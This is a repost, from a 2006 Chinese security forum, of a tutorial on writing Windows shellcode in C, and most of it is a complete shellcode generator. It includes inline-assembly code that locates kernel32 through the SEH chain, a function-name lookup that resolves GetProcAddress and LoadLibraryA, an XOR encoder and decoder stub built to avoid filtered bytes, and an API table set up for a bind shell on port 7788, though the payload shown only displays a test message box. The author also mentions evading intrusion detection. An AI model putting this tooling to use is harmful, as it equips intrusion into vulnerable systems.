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金州 2006-10-15 04:23

[转载]关于Windows下ShellCode编写的一点思考

原始链接:[url]https://www.xfocus.net/bbs/index.php?act=ST&f=2&t=31150[/url]

关于Windows下ShellCode编写的一点思考

                           By Hume/冷雨

  关于ShellCode编写的文章可谓多如牛毛。经典的有yuange、watercloud等前辈的文
章,但大都过于专业和简练,对我这样的初学者学习起来还是有不小的难度。因此把自己
的一点想法记录下来,以慰同菜。


我不是工具论者,但合适的工具无疑会提高工作效率,而如何选取合适的工具和编写
ShellCode的目的及ShellCode的运行环境是直接相关的。ShellCode一般是通过溢出等
方式获取执行权的,并且要在执行时调用目标系统的API进行一些工作,因此就要求
ShellCode采用一种较为通用的方法获取目标系统的API函数地址,其次由于其运行地址
难以确定,因此对数据的寻址要采用动态的方法。另外,ShellCode一般是作为数据发送
给受攻击程序的,而受攻击程序一般会对数据进行过滤,这对ShellCode提出了编码的要
求,现在ShellCode用的编码方法比较简单,基本是XOR大法或其变形。

编写ShellCode有目前流行的有两种方法:用C语言编写+提取;用汇编语言编写和提取。

就个人感觉而言,用汇编语言编写和提取是最方便的,因为ShellCode代码一般比较短,要
完成的任务也相对单一,一般不涉及复杂的运算。因此可以用汇编语言编写。而且用汇编
编写便于数据的控制、代码定位及生成的控制,在某些汇编编译器中,提供了直接生成二进制
代码功能并提供了直接包含二进制文件的伪指令,这样就可以直接编写一个makefile文件将
ShellCode代码和攻击程序分开,分别编写和调试,而无需print、拷贝、粘贴等操作,只需
在攻击程序中加入一段编码代码就可以了。这样也便于交流。

但现在网络上流行的都是C编写的ShellCode,不过最终要生成的是ShellCode代码,这就涉
及到提取C生成的汇编代码的问题。但在C中由于编译器会在函数的开始和结束生成一些附加
代码,而这些代码未必是我们需要的,还有一个问题就是要提取代码的结束在C中没有直接的
操作符获取。这些实际上也都不是很难,只要在函数的开始和结束加入特征字符串用C库函数
memcmp搜索即可定位。对ShellCode的编码可写一段程序进行,比如XOR法的。最后写一段
函数将编码后的ShellCode打印出来,复制、粘贴就可以用在攻击程序里面了。

用C编写的中心思想就是我们用C语言写代码,让编译器为我们生成二进制代码,然后在运行时
编码、打印,这样工作就完成了。

在网上找到了一个用C编写ShellCode的例子,于是亲自调试了一遍,发现了一些问题后修改
并加入一些自己的代码,测试通过。

其中的一些问题有:

1.KERNEL基地址的定位和API函数地址的获取

  原来的代码中采用的是暴力搜索地址空间的方法。这不算最佳方法,因为一是代码比较多,
二是要处理搜索无效页面引发的异常。现在还有两种方法可用:

一种是从PEB相关数据结构中获取,请参考绿盟月刊44期SCZ的《通过TEB/PEB枚举当前进程
空间中用户模块列表》一文。代码如下:

mov eax, fs:0x30   
mov eax, [eax + 0x0c]
mov esi, [eax + 0x1c]
lodsd           
mov ebp, [eax + 0x08] //ebp 就是kernel32.dll的地址了

这种方法比较通用,适用于2K/XP/2003。

另外一种方法就是搜索进程的SEH链表获取Kernel32.UnhandledExceptionFilter的地址,
再由该地址对齐追溯获得Kernel的基地址,这种方法也是比较通用的,适用于9X/2K/XP/2003。
在下面的代码中我就采用了这种方法。

2.几段代码的作用

   在ShellCode提取代码中你或许会经常见到
   temp = *shellcodefnadd;
   if(temp == 0xe9)
   {
       ++shellcodefnadd;
       k=*(int *)shellcodefnadd;
       shellcodefnadd+=k;
       shellcodefnadd+=4;
   }
   这样的代码,其用途何在?答案在于在用Visual Studio生成调试版本的时候,用函数指针
操作获得的地址并不是指向真正的函数入口点,而是指向跳转指令JMP:

  jmp function

  上面那段代码就是处理这种情况的,如果不是为了调试方便,完全可以删去。

  还有在代码中会看到:
        jmp   decode_end

decode_start:
        pop   edx
        .......
decode_end:
      
        call   decode_start
Shell_start:

   之类的代码其作用是定位Shell_start处的代码,便于装配,由于在C中没有方便的手段定位
代码的长度和位置,因此采用此变通的做法。在这种方法不符合编码的要求时,可以采用动态计算
和写入的方法。不过复杂了一点罢了。

3.关于局部变量的地址顺序

   在原程序中采用了如下局部变量结构:

      FARPROC    WriteFileadd;
   FARPROC    ReadFileadd;
   FARPROC    PeekNamedPipeadd;
   FARPROC    CloseHandleadd;
   FARPROC    CreateProcessadd;
   FARPROC    CreatePipeadd;
   FARPROC      procloadlib;

   FARPROC    apifnadd[1];

      以为这样编译器生成的变量地址顺序就是这样的,在有些机器上也许如此,不过在我的
机器上则不然,比如下面的测试程序:

#include <windows.h>
#include <stdio.h>
#include <tchar.h>
#include <winioctl.h>

void shell();

void __cdecl main(int argc,char *argv[])
{
   FARPROC arg1;
   FARPROC arg2;
   FARPROC arg3;
   FARPROC arg4;
   FARPROC arg5;
   int par1;
   int par2;
   int par3;
   int par4;
   char ch;

   printf("Size of FARPROC %d\n",sizeof(FARPROC));
   printf("\n%X\n%X\n%X\n%X\n%X\n\n  \t%X\n%X\n%X\n%X\n \t%X\n",
      &arg1,
      &arg2,
      &arg3,
      &arg4,
      &arg5,
      &par1,
      &par2,
      &par3,
      &par4,
      &ch

      );
}
在我机器上产生的输出是:

12FF7C
12FF78
12FF74
12FF70
12FF68

      12FF6C
12FF64
12FF60
12FF5C
      12FF58

这证实了局部变量的实际地址并不是完全按我们自己定义排列的。因此原来ShellCode中采用的
直接使用函数名的方法就可靠了。因此我采用了其它的方法,C提供的Enum关键字使得这项
工作变得容易,详见下面的代码。

4.more

关于变形ShellCode躲避IDS检测,以及编码方法等需进一步研究。

5.代码

   可见,用C编写ShellCode需要对代码生成及C编译器行为有更多了解。有些地方处理起来也
不是很省力。不过一旦模板写成,以后写起来或写复杂ShellCode就省力多了。
   增加API时只要在相应的.dll后增加函数名称项(如果str中还没有相应的dll,增加之)并
同步更新Enum的索引即可。调用API时直接使用:
   
   API[_APINAME](param,....param);

   即可。

   如果没注释掉有#define  DEBUG 1的话,下面代码编译后运行即可对ShellCode进行调试,
下面代码将弹出一个对话框,点击确定即可结束程序。that&#39;s ALL。
-------------------------------------------
/*
        使用C语言编写通用shellcode的程序
出处:internet
修改:Hume/冷雨飘心
测试:Win2K SP4 Local

*/
#include <windows.h>
#include <stdio.h>
#include <winioctl.h>

#define  DEBUG 1

//
//函数原型
//
void    DecryptSc();
void    ShellCodes();
void    PrintSc(char *lpBuff, int buffsize);

//
//用到的部分定义
//
#define  BEGINSTRLEN   0x08   //开始字符串长度
#define  ENDSTRLEN    0x08   //结束标记字符的长度
#define  nop_CODE     0x90   //填充字符
#define  nop_LEN      0x0    //ShellCode起始的填充长度
#define  BUFFSIZE     0x20000 //输出缓冲区大小

#define  sc_PORT      7788   //绑定端口号 0x1e6c
#define  sc_BUFFSIZE   0x2000  //ShellCode缓冲区大小

#define  Enc_key      0x7A   //编码密钥

#define  MAX_Enc_Len   0x400  //加密代码的最大长度 1024足够?
#define  MAX_Sc_Len    0x2000  //hellCode的最大长度 8192足够?
#define  MAX_api_strlen 0x400  //APIstr字符串的长度
#define  API_endstr    "strend"//API结尾标记字符串   
#define  API_endstrlen  0x06   //标记字符串长度

#define PROC_BEGIN __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90\
             __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90
#define PROC_END PROC_BEGIN
//---------------------------------------------------
enum{     //Kernel32
        _CreatePipe,
        _CreateProcessA,
        _CloseHandle,
        _PeekNamedPipe,
        _ReadFile,
        _WriteFile,
        _ExitProcess,

        //WS2_32
        _socket,
        _bind,
        _listen,
        _accept,
        _send,
        _recv,
        _ioctlsocket,
        _closesocket,

        //本机测试User32
        _MessageBeep,
        _MessageBoxA,
        API_num
};

//
//代码这里开始
//
int __cdecl main(int argc, char **argv)
{
  //shellcode中要用到的字符串
  static char ApiStr[]="\x1e\x6c"  //端口地址

        //Kernel32的API函数名称
        "CreatePipe""\x0"
        "CreateProcessA""\x0"
        "CloseHandle""\x0"
        "PeekNamedPipe""\x0"
        "ReadFile""\x0"
        "WriteFile""\x0"
        "ExitProcess""\x0"

        //其它API中用到的API
        "wsock32.dll""\x0"
        "socket""\x0"
        "bind""\x0"
        "listen""\x0"
        "accept""\x0"
        "send""\x0"
        "recv""\x0"
        "ioctlsocket""\x0"
        "closesocket""\x0"
        //本机测试
        "user32.dll""\x0"
        "MessageBeep""\x0"
        "MessageBoxA""\x0"

        "\x0\x0\x0\x0\x0"
        "strend";

  char  *fnbgn_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";  //标记开始的字符串
  char  *fnend_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";  //标记结束的字符串

  char  buff[BUFFSIZE];      //缓冲区
  char  sc_buff[sc_BUFFSIZE];  //ShellCodes缓冲
  char  *pDcrypt_addr,
      *pSc_addr;

  int  buff_len;          //缓冲长度
  int  EncCode_len;        //加密编码代码长度
  int  Sc_len;            //原始ShellCode的长度

  int     i,k;
  unsigned  char ch;

  //
  //获得DecryptSc()地址,解码函数的地址,然后搜索MAX_Enc_Len字节,查找标记开始的字符串
  //获得真正的解码汇编代码的开始地址,MAX_Enc_Len定义为1024字节一般这已经足够了,然后将这
  //部分代码拷贝入待输出ShellCode的缓冲区准备进一步处理
  //
  pDcrypt_addr=(char *)DecryptSc;

  //定位其实际地址,因为在用Visual Studio生成调试版本调试的情况下,编译器会生成跳转表,
  //从跳转表中要计算得出函数实际所在的地址,这只是为了方便用VC调试

  ch=*pDcrypt_addr;
  if (ch==0xe9)
  {
    pDcrypt_addr++;
    i=*(int *)pDcrypt_addr;
    pDcrypt_addr+=(i+4);    //此时指向函数的实际地址
  }
  //找到解码代码的开始部分
  for(k=0;k<MAX_Enc_Len;++k) if(memcmp(pDcrypt_addr+k,fnbgn_str,BEGINSTRLEN)==0) break;

  if (k<MAX_Enc_Len) pDcrypt_addr+=(k+8);  //如找到定位实际代码的开始
  else
  {
    //显示错误信息
    k=0;
    printf("\nNo Begin str defined in Decrypt function!Please Check before go on...\n");
    return 0;
  }

  for(k=0;k<MAX_Enc_Len;++k) if(memcmp(pDcrypt_addr+k,fnend_str,ENDSTRLEN)==0) break;

  if (k<MAX_Enc_Len) EncCode_len=k;
  else
  {
    k=0;
    printf("\nNo End str defined in Decrypt function!Please Check....\n");
    return 0;
  }

  memset(buff,nop_CODE,BUFFSIZE);                //缓冲区填充
  memcpy(buff+nop_LEN,pDcrypt_addr,EncCode_len);      //把DecryptSc代码复制进buff

  //
  //处理ShellCode代码,如果需要定位到代码的开始
  //
  pSc_addr=(char *)ShellCodes;    //shellcode的地址

  //调试状态下的函数地址处理,便于调试
  ch=*pSc_addr;
  if (ch==0xe9)
  {
    pSc_addr++;
    i=*(int *)pSc_addr;
    pSc_addr+=(i+4);    //此时指向函数的实际地址
  }

  //如果需要定位到实际ShellCodes()的开始,这个版本中是不需要的
  /*
  for (k=0;k<MAX_Sc_Len ;++k ) if(memcmp(pSc_addr+k,fnbgn_str,BEGINSTRLEN)==0) break;
  if (k<MAX_Enc_Len) pSc_addr+=(k+8);  //如找到定位实际代码的开始
  */

  //找到shellcode的结尾及长度
  for(k=0;k<MAX_Sc_Len;++k) if(memcmp(pSc_addr+k,fnend_str,ENDSTRLEN)==0) break;
  if (k<MAX_Sc_Len) Sc_len=k;
  else
  {
    k=0;
    printf("\nNo End str defined in ShellCodes function!Please Check....\n");
    return 0;
  }


  //把shellcode代码复制进sc_buff
  memcpy(sc_buff,pSc_addr,Sc_len);

  //把字符串拷贝在shellcode的结尾
  for(i=0;i<MAX_api_strlen;++i) if(memcmp(ApiStr+i,"strend",API_endstrlen)==0) break;
  if(i>=MAX_api_strlen)
  {
    printf("\nNo End str defined in API strings!Please Check....\n");
    return 0;
  }
  memcpy(sc_buff+k,ApiStr,i);

  Sc_len+=i;      //增加shellcode的长度

  //
  //对shellcode进行编码算法简单,可根据需要改变
  //
  k=EncCode_len+nop_LEN;   //定位缓冲区应存放ShellCode地址的开始

  for(i=0;i<Sc_len;++i){

    ch=sc_buff[i]^Enc_key;
    //对一些可能造成shellcode失效的字符进行替换
    if(ch<=0x1f||ch==&#39; &#39;||ch==&#39;.&#39;||ch==&#39;/&#39;||ch==&#39;\\&#39;||ch==&#39;0&#39;||ch==&#39;?&#39;||ch==&#39;%&#39;||ch==&#39;+&#39;)
    {
      buff[k]=&#39;0&#39;;
      ++k;
      ch+=0x31;
    }
    //把编码过的shellcode放在DecryptSc代码后面
    buff[k]=ch;
    ++k;
  }

  //shellcode的总长度
  buff_len=k;

  //打印出shellcode
  PrintSc(buff,buff_len);
  //buff[buff_len]=0;
  //printf("%s",buff);

#ifdef DEBUG
  _asm{
    lea eax,buff
    jmp eax
    ret
  }
#endif

   return  0;
}

//解码shellcode的代码
void  DecryptSc()
{
     __asm{

/////////////////////////
//定义开始标志
/////////////////////////
       PROC_BEGIN   //C macro to begin proc

       jmp  next
getEncCodeAddr:
       pop  edi
       push  edi
       pop  esi
       xor  ecx,ecx
Decrypt_lop:
       lodsb
       cmp  al,cl
       jz  shell
       cmp  al,0x30  //判断是否为特殊字符
       jz  special_char_clean
store:   
       xor  al,Enc_key
       stosb
       jmp  Decrypt_lop
special_char_clean:  
       lodsb
       sub al,0x31
       jmp store
next:   
       call  getEncCodeAddr
       //其余真正加密的shellcode代码会连接在此处
shell:   

/////////////////////////
//定义结束标志
/////////////////////////
       PROC_END    //C macro to end proc

       }
}      

//
//shellcode代码
//
void ShellCodes()
{
   //API低址数组   
   FARPROC    API[API_num];


   //自己获取的API地址
   FARPROC    GetProcAddr;
   FARPROC   LoadLib;

   HANDLE    hKrnl32;
   HANDLE    libhandle;

   char      *ApiStr_addr,*p;
   
   int      k;
   u_short    shellcodeport;

   //测试用变量
   char      *testAddr;

/*
   STARTUPINFO siinfo;
   SOCKET    listenFD,clientFD;
   struct    sockaddr_in server;
   int      iAddrSize = sizeof(server);
   int      lBytesRead;
   PROCESS_INFORMATION ProcessInformation;
   HANDLE    hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
   SECURITY_ATTRIBUTES sa;

*/


_asm {
      jmp   locate_addr0
getApiStr_addr:
      pop   ApiStr_addr

      //开始获取API的地址以及GetProcAddress和LoadLibraryA的地址
      //以后就可以方便地获取任何API的地址了

      //保护寄存器
      pushad

   xor    esi,esi
      lods   dword ptr fs:[esi]
      
Search_Krnl32_lop:
      inc    eax
      je    Krnl32_Base_Ok
      dec    eax
      xchg   esi,eax
      LODSD  
      jmp    Search_Krnl32_lop
Krnl32_Base_Ok:

      LODSD            
                      ;compare if PE_hdr
      xchg   esi,eax
   find_pe_header:
      dec    esi
      xor    si,si        ;kernel32 is 64kb align
      mov    eax,[esi]
      add    ax,-&#39;ZM&#39;      ;     
      jne    find_pe_header
      mov    edi,[esi+3ch]  ;.e_lfanew      
      mov    eax,[esi+edi]
      add    eax,-&#39;EP&#39;     ;anti heuristic change this if you are using MASM etc.   
      jne    find_pe_header  
      
      push    esi
                      ;esi=VA Kernel32.BASE
                      ;edi=RVA K32.pehdr      
      mov    ebx,esi
      mov    edi,[ebx+edi+78h]  ;peh.DataDirectory
      
      push   edi
      push   esi

      mov    eax,[ebx+edi+20h]  ;peexc.AddressOfNames            
      mov    edx,[ebx+edi+24h]  ;peexc.AddressOfNameOrdinals   
      call   __getProcAddr
      _emit 0x47
      _emit 0x65
      _emit 0x74
      _emit 0x50
      _emit 0x72
      _emit 0x6F
      _emit 0x63
      _emit 0x41
      _emit 0x64
      _emit 0x64
      _emit 0x72
      _emit 0x65
      _emit 0x73
      _emit 0x73
      _emit 0x0
      //db    "GetProcAddress",0
__getProcAddr:
      pop    edi
      mov    ecx,15      
      sub    eax,4
next_:      
      add    eax,4
      add    edi,ecx
      sub    edi,15
      mov    esi,[ebx+eax]
      add    esi,ebx
      mov    ecx,15
      repz   cmpsb
      jnz    next_

      pop    esi
      pop    edi

      sub    eax,[ebx+edi+20h]    ;peexc.AddressOfNames
      shr    eax,1
      add    edx,ebx
      movzx  eax,word ptr [edx+eax]      
      add    esi,[ebx+edi+1ch]     ;peexc.AddressOfFunctions
      add    ebx,[esi+eax*4]      ;ebx=Kernel32.GetProcAddress.addr
                           ;use GetProcAddress and hModule to get other func
      pop    esi              ;esi=kernel32 Base

      mov    [hKrnl32],esi        //保存
      mov    [GetProcAddr],ebx     //保存

      call   _getLoadLib
      _emit 0x4C
      _emit 0x6F
      _emit 0x61
      _emit 0x64
      _emit 0x4C
      _emit 0x69
      _emit 0x62
      _emit 0x72
      _emit 0x61
      _emit 0x72
      _emit 0x79
      _emit 0x41
      _emit 0x0
      //db    "LoadLibraryA",0
      
_getLoadLib:
      push   esi
      call   ebx
      mov    [LoadLib],eax

      //恢复寄存器,避免更多问题
      popad
   }

  //取出定义的端口地址
  shellcodeport=*(u_short *)ApiStr_addr;
  ApiStr_addr+=2;
  
  ////////////////////////////////测试用
   testAddr=ApiStr_addr;
  ////////////////////////////////////

  //利用GetProcAddress来获得shellcode中所用到的API地址

  libhandle=hKrnl32;
  p=ApiStr_addr;

  k=0;
  ///*
  while ( *((unsigned int *)p) != 0)
  {
     ApiStr_addr=p;
     while(*p) p++;  //前进到下一个字符串

     if (*( (unsigned int *)(p-4))==&#39;lld.&#39;)
     {
        libhandle=(HANDLE)LoadLib(ApiStr_addr);  //若为DLL则加载DLL
     }
     else
     {
        API[k]=(FARPROC)GetProcAddr(libhandle,ApiStr_addr);
        k++;
     }
     
     ApiStr_addr=++p; //更新指针前进一个字符位置
     
  }
  
  //*/

///////////////////////////////////////////////////////////////////////////
//      下面就可以使用C语言来编写真正实现功能的shellcode了           //
///////////////////////////////////////////////////////////////////////////
//
//简单测试几个API看是否复合要求
//
API[_MessageBeep](0x10);
API[_MessageBoxA](0,testAddr,0,0x40);
API[_ExitProcess](0);
///////////////////////////////////////////////////////////////////////////
//                  shellcode功能部分结束                //
///////////////////////////////////////////////////////////////////////////

//死循环
die:  
   goto die;
__asm
   {
locate_addr0:  
        call getApiStr_addr    //5 bytes
//真正的字符串数据要连接在此处
   



/////////////////////////
//定义结束标志
/////////////////////////
       PROC_END    //C macro to end proc
     
    }
}

//
//显示打印生成的shellcode的C string格式代码
//
void PrintSc(char *lpBuff, int buffsize)
{
   int i,j;
   char *p;
   char msg[4];
   for(i=0;i<buffsize;i++)
   {
      if((i%16)==0)
        if(i!=0)
           printf("\"\n\"");
        else
           printf("\"");
      sprintf(msg,"\\x%.2X",lpBuff[i]&0xff);
      for( p = msg, j=0; j < 4; p++, j++ )
      {
        if(isupper(*p))
           printf("%c", _tolower(*p));
        else
           printf("%c", p[0]);
      }
   }
   printf("\";\n/*Shell total are %d bytes */\n",buffsize);
}

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